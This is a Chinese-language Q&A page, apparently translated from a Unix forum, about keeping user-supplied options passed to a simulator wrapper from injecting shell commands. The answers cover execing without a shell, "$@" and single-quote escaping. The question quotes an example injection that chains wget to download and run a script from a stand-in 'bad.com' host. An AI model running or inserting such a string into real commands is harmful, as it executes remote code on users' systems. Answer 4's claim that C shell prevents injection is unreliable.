![如何通过命令选项防止命令注入?](https://linux22.com/image/44931/%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E9%80%89%E9%A1%B9%E9%98%B2%E6%AD%A2%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%9F.png)
我有一个包装应用程序,我需要让用户指定要传递给模拟器的自定义选项。但是,我想确保用户不会通过用户选项注入其他命令。实现这一目标的最佳方法是什么?
例如。
- 用户提供:
-a -b
- 应用程序执行:
mysim --preset_opt -a -b
但是,我不希望这种情况发生:
- 用户提供:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- 应用程序执行:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
目前,我认为我可以简单地将每个用户提供的选项用单引号括起来'
,并删除任何用户提供的单引号,这样最后一个示例中的命令将是无害的:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
注意:该mysim
命令作为 docker/lxc 容器中 shell 脚本的一部分执行。我正在运行Ubuntu。
答案1
如果您可以控制包装程序,请确保它不会调用子 shell。在内心深处,一个执行程序的指令包含可执行文件的完整路径(绝对路径或相对于当前目录的路径)以及作为参数传递的字符串列表。路径查找、空格分隔参数、引用和控制运算符均由 shell 提供。没有外壳,没有痛苦。
例如,对于 Perl 包装器,请使用exec
或 的列表形式system
。在许多语言中,调用exec
或函数之一execXXX
(或unix.exec
任何它的名称),而不是system
、 或os.spawn
withshell=False
或任何它需要的东西。
如果包装器是 shell 脚本,则用于"$@"
传递参数,例如
#!/bin/sh
mysim -preset-opt "$@"
如果您别无选择并且包装程序调用 shell,则需要在将参数传递给 shell 之前引用它们。引用参数的简单方法是执行以下操作:
- 在每个参数中,将每次出现的
'
(单引号) 替换为四字符字符串'\''
。 (例如don't
变成don'\''t
) '
在每个参数的开头以及每个参数的末尾添加。 (例如从don't
、don'\''t
变为'don'\''t'
)- 将结果连接起来,中间用空格连接。
如果您需要在 shell 包装器中执行此操作,可以使用以下方法。
arguments='-preset-opt'
for x; do
arguments="$arguments '"
while case $x in
*\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
*) false;; esac
do :; done
arguments="$arguments$x'"
done
(不幸的是,bash 的${VAR//PATTERN/REPLACEMENT}
构造在这里应该很方便,但需要奇怪的引用,而且我认为您无法将其'\''
作为替换文本。)
答案2
您可以使用 Bash 的${VAR//PATTERN/REPLACEMENT}
惯用法将单引号转换'
为'\''
首先放入'\''
变量(作为中间步骤),然后将该变量扩展为REPLACEMENT
上述 Bash 惯用法中的元素。
# example
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str" # 'don'\''t'
}
答案3
您可以使用getopts
inbash
其中 可以为您解析参数,例如:
while getopts a:b: opts; do
case ${opts} in
a)
A=${OPTARG}
;;
b)
B=${OPTARG}
;;
esac
done
答案4
为了最好地避免注射,请考虑切换到 [T]csh。与 Bourne Shell 不同,C Shell 是“有限的”,因此指示人们采用不同的、更安全的路径来编写脚本。 C Shell 施加的“限制”使其成为最可靠的 Shell 之一。 (例如:嵌套是最小的甚至是不可能的,因此不惜一切代价防止注入;有更好的方法来实现人们想要的。)